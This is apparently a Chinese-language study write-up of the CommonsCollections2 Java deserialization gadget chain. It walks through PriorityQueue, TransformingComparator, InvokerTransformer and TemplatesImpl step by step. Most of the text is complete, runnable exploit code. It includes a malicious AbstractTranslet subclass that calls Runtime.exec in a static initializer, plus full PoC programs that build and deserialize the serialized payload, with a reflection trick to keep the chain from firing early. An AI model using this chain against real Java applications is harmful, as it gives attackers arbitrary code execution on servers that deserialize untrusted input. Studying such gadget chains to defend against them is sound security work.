CommonsCollection2调用流程
整个调用链详细版本
ObjectInputStream.readObject()
|
PriorityQueue.readObject()
|
PriorityQueue.heapify
|
PriorityQueue.siftDown
|
PriorityQueue.siftDownUsingComparator
|
TransformingComparator.compare()
|
InvokerTransformer.transform()
|
TemplatesImpl.getTransletInstance
|
->(动态创建的类)cc2.newInstance()->Runtime.exec()
官方调用链
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
CommonsCollections2
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。
所以cc2版本就没用使用AnnotationInvocationHandler而时使用了TemplatesImpI
+PriorityQueue
来构造利用链的。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个内置类, 这个类的骚操作就是,在调用他的 newTransformer
或者 getOutputProperties
(这个方法内部会调用 newTransformer) 时,会动态从字节码中重建一个类.
这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.
第一步通过templatempI加载恶意类
TemplatesImpI类分析
这个类我们用来加载我们的恶意类。
分析getTransletInstance
这里有两个判断条件
如果_name==null 返回null
如果_class==null就调用defineTransletClasses()
下来跟进defineTransletClasses()
分析defineTransletClasses()
这里如果_bytecodes==null
就执行错误处理语句块
看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值
这个常量中 可以跟进这个常量看看这个常量中存储了什么值
可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它
注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件
构造恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这里我们可以构造我们初步测试能成功调用恶意类的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
public class test2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
//实例化TemplatesImpl
TemplatesImpl templates=new TemplatesImpl();
//获取TemplatesImpl的Class
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//加载恶意类
byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//调用
templates.newTransformer();
}
}
加载恶意字节码poc的链子
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
接下来使用InvokerTransformer
的反射去调用newTransformer()
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator类分析
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
类似。
TransformingComparator中的comparator 在TransformingComparator的构造方法中,传入了两个值transformer和decorated
TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法
具体实现是this.transformer
在传入ChainedTransformer
后,会调用ChainedTransformer#transform
反射链
我们在此可以构造 将反射调用的newTransformer传进去
TransformingComparator comparator =new TransformingComparator(invokerTransformer);
这样如果那块调用了compare()就会调用this.invokerTransformer.transformer()
那么接下来如何调用compare()?这就需要PriorityQueue登场了
PriorityQueue类分析
PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口
readObject中调用了heapify() 注意这里需要的for循环 这里长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素
heapify()调用了siftdown()
sitdown()
调用了siftDownUsingComparator()
在siftDownUsingComparator()
又调用了comparator.compare()
调用到comparator.compare()方法中
这里就可以构造
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
//将恶意类添加给PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2 import org.apache.commons.collections4.comparators.TransformingComparator;
3 import org.apache.commons.collections4.functors.InvokerTransformer;
4 import java.io.*;
5 import java.lang.reflect.*;
6 import java.nio.file.Files;
7 import java.nio.file.Paths;
8 import java.util.PriorityQueue;
9
10
11 public class CC2test {
12
13 public static void main(String[] args)throws Exception {
14
15
16 TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
17 Class tc=templates.getClass(); //获取templates的Classlass
18 Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
19 nameField.setAccessible(true); //暴力反射
20 nameField.set(templates,"aaaa"); //修改_name的值
21 Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
22 bytecodesField.setAccessible(true); //暴力反射
23 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
24 byte[][] codes={code};
25 bytecodesField.set(templates,codes);//修改_bytecodes的值
26
27 //反射调用newTransformer()
28 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
29
30 TransformingComparator transformingComparator=new TransformingComparator<>(invokerTransformer);
31
32 PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
33 //将恶意类添加给PriorityQueue
34 priorityQueue.add(templates);
35 priorityQueue.add(2);
36
37
38 serialize(priorityQueue);
39 unserialize("ser.bin");
40
41 }
42
43 public static void serialize(Object obj) throws Exception{
44 ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
45 oss.writeObject(obj);
46 }
47
48 public static void unserialize(Object obj) throws Exception{
49 ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
50 oss.readObject();
51 }
52 }
执行的时候报了哥错误
这里要防止它提前执行
将这里置空 传一个没有的东西
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
当完PriorityQueue add()完之后再给它里面赋值即可
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
//将恶意类添加给PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);
//将invokerTransformer给transformingComparator中的transformer
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,invokerTransformer);
构建最终poc学习
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2 import org.apache.commons.collections4.comparators.TransformingComparator;
3 import org.apache.commons.collections4.functors.ConstantTransformer;
4 import org.apache.commons.collections4.functors.InvokerTransformer;
5 import java.io.*;
6 import java.lang.reflect.*;
7 import java.nio.file.Files;
8 import java.nio.file.Paths;
9 import java.util.PriorityQueue;
10
11
12 public class CC2test {
13
14 public static void main(String[] args)throws Exception {
15
16
17 TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
18 Class tc=templates.getClass(); //获取templates的Classlass
19 Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
20 nameField.setAccessible(true); //暴力反射
21 nameField.set(templates,"aaaa"); //修改_name的值
22 Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
23 bytecodesField.setAccessible(true); //暴力反射
24 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
25 byte[][] codes={code};
26 bytecodesField.set(templates,codes);//修改_bytecodes的值
27
28 //反射调用newTransformer()
29 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
30
31 //将TransformingComparator置空 防止再序列化时触发恶意类
32 TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
33
34
35 PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
36 //将恶意类添加给PriorityQueue
37 priorityQueue.add(templates);
38 priorityQueue.add(2);
39
40 //将invokerTransformer给transformingComparator中的transformer
41 Class c=transformingComparator.getClass();
42 Field transformField=c.getDeclaredField("transformer");
43 transformField.setAccessible(true);
44 transformField.set(transformingComparator,invokerTransformer);
45
46 serialize(priorityQueue);
47 unserialize("ser.bin");
48
49 }
50
51 public static void serialize(Object obj) throws Exception{
52 ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
53 oss.writeObject(obj);
54 }
55
56 public static void unserialize(Object obj) throws Exception{
57 ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
58 oss.readObject();
59 }
60 }
参考
https://www.cnblogs.com/nice0e3/p/13860621.html#transformingcomparator
《P牛的java代码审计》